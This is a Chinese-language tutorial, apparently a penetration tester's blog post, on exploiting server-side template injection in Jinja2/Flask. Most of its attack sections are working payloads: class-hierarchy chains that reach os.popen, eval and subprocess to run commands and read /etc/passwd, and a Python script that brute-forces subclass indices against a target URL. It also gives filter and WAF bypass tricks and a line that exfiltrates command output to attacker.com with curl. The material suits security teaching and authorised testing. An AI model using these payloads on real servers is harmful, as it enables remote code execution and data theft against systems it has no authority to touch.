1. Jinja2 SSTI漏洞基础入门
第一次接触SSTI漏洞是在2018年的一个内部安全测试项目中。当时发现一个简单的{{7*7}}输入竟然在页面上返回了49,这个意外发现让我意识到模板引擎的潜在危险。Jinja2作为Flask框架默认的模板引擎,其强大的功能背后隐藏着不小的安全隐患。
SSTI(Server-Side Template Injection)的本质是用户输入被直接拼接进模板代码中执行。想象一下,如果把用户提供的数学题直接交给计算器执行,那么恶意用户完全可以输入"删除所有文件"这样的"数学题"。在Jinja2中,当开发者使用render_template_string()函数时,如果直接将用户输入作为模板内容,就会打开这个潘多拉魔盒。
判断是否存在SSTI漏洞有个简单的方法:尝试输入{{7*7}}、{{'a'+'b'}}这类表达式。如果页面返回计算后的结果(49或ab),基本可以确认漏洞存在。不过要注意,不同模板引擎的语法可能有差异,Jinja2使用双花括号{{}},而有些引擎可能使用<% %>等其他符号。
理解Flask框架的工作机制很重要。当Flask处理请求时,它会将模板文件或字符串交给Jinja2引擎渲染。正常情况下,模板中的变量会被安全地转义输出。但一旦用户输入被当作模板代码解析,就会导致任意代码执行。这就好比本来只允许用户在留言板上写文字,结果却把留言板内容当成了后台代码执行。
2. 魔术方法与类继承体系
Python的魔术方法是理解SSTI利用的关键。记得我第一次看到__class__这样的属性时觉得很神秘,后来发现它们就像是对象的身份证和家族族谱。通过这组特殊属性,我们可以从一个简单字符串出发,最终找到能执行系统命令的危险方法。
让我们用实际例子来说明这个探索过程:
class Animal: def speak(self): return "Generic animal sound" class Dog(Animal): def speak(self): return "Woof!" my_dog = Dog()在这个例子中,my_dog.__class__会指向Dog类,my_dog.__class__.__base__则指向Animal父类。Jinja2模板中,我们可以用同样的方式遍历继承链。比如{{''.__class__}}会显示字符串的类<class 'str'>,而{{''.__class__.__base__}}则显示所有字符串的基类<class 'object'>。
最危险的是__subclasses__()方法,它会返回一个类的所有子类列表。在Python环境中,这些子类中往往包含可以执行命令或操作文件的类。通过脚本可以快速查找这些危险类的位置:
# 查找包含os模块的子类 for i, subclass in enumerate(''.__class__.__base__.__subclasses__()): if hasattr(subclass, '__init__') and hasattr(subclass.__init__, '__globals__'): if 'os' in subclass.__init__.__globals__: print(f"Index {i}: {subclass}")3. 常用攻击模块与利用方式
在实战中,有几种常见的模块可以用来突破限制。文件读取通常是最先尝试的方式,特别是当目标存在_frozen_importlib_external.FileLoader这类子类时。记得有次渗透测试,通过{{''.__class__.__base__.__subclasses__()[X].get_data(0,'/etc/passwd')}}这样的payload成功读取了系统文件。
命令执行则有更多选择。如果环境中有os模块可用,最简单的就是{{config.__class__.__init__.__globals__['os'].popen('id').read()}}。但有时会遇到模块被限制的情况,这时就需要寻找替代方案:
- eval函数:通过内置函数执行Python代码
{{''.__class__.__base__.__subclasses__()[X].__init__.__globals__['__builtins__']['eval']('__import__("os").system("whoami")')}}- subprocess模块:更隐蔽的命令执行方式
{{''.__class__.__base__.__subclasses__()[X]('whoami',shell=True,stdout=-1).communicate()[0]}}- importlib技巧:动态加载危险模块
{{''.__class__.__base__.__subclasses__()[X].load_module('os').popen('id').read()}}在实际测试中,我习惯先用Python脚本自动化查找可用的模块索引。比如这个查找popen函数的脚本:
import requests target = "http://example.com/vulnerable" for i in range(500): payload = f"{{{{''.__class__.__base__.__subclasses__()[{i}].__init__.__globals__.__contains__('popen')}}}}" r = requests.post(target, data={'input':payload}) if 'True' in r.text: print(f"Found popen at index {i}") break4. 高级绕过技巧实战
随着防护措施的加强,基础的payload往往会被拦截。这时候就需要各种绕过技巧,就像黑客与防护系统的猫鼠游戏。记得有次遇到严格过滤的项目,光是绕过就花了三天时间,最终用十六进制编码解决了问题。
4.1 符号过滤绕过
双大括号过滤是最常见的防护措施。这时候可以改用{% if ... %}...{% endif %}这样的控制语句结构。例如:
{% if ''.__class__.__base__.__subclasses__()[X].__init__.__globals__.popen('id').read() %} {{1}} {% endif %}中括号过滤时,可以用__getitem__方法代替。比如['os']可以写成.__getitem__('os')。我曾经遇到一个案例,通过这种替换成功绕过了WAF:
{{''.__class__.__base__.__subclasses__().__getitem__(X).__init__.__globals__.__getitem__('os').popen('id').read()}}4.2 关键字过滤绕过
当class、base等关键词被过滤时,字符串拼接是个好办法。可以用['__cl'+'ass__']或者更隐蔽的Jinja2过滤器:
{% set a='__cla' %}{% set b='ss__' %}{{ ()[a~b] }}编码绕过也很有效,比如十六进制编码:
{{ ()['\x5f\x5fclass\x5f\x5f']['\x5f\x5fbase\x5f\x5f'] }}4.3 特殊场景处理
无回显场景下,可以考虑带外通信(OOB)或者反弹shell。我常用的一个技巧是使用curl发送数据到外部服务器:
{{''.__class__.__base__.__subclasses__()[X].__init__.__globals__.popen('curl http://attacker.com/?data=$(whoami|base64)').read()}}数字过滤时,可以用字符串长度或数学运算生成所需数字:
{% set idx='aaaaa'|length %}{{''.__class__.__base__.__subclasses__()[idx]}}多重过滤组合的情况下,需要灵活组合各种技巧。比如同时过滤了点和下划线时,可以这样构造:
{{()|attr('\x5f\x5fclass\x5f\x5f')|attr('\x5f\x5fbase\x5f\x5f')}}在真实环境中,防护措施往往不是单一的。我建议先通过fuzz测试确定具体的过滤规则,然后针对性地设计绕过方案。记得保存常用的payload模板,并根据实际情况调整,这能大大提高测试效率。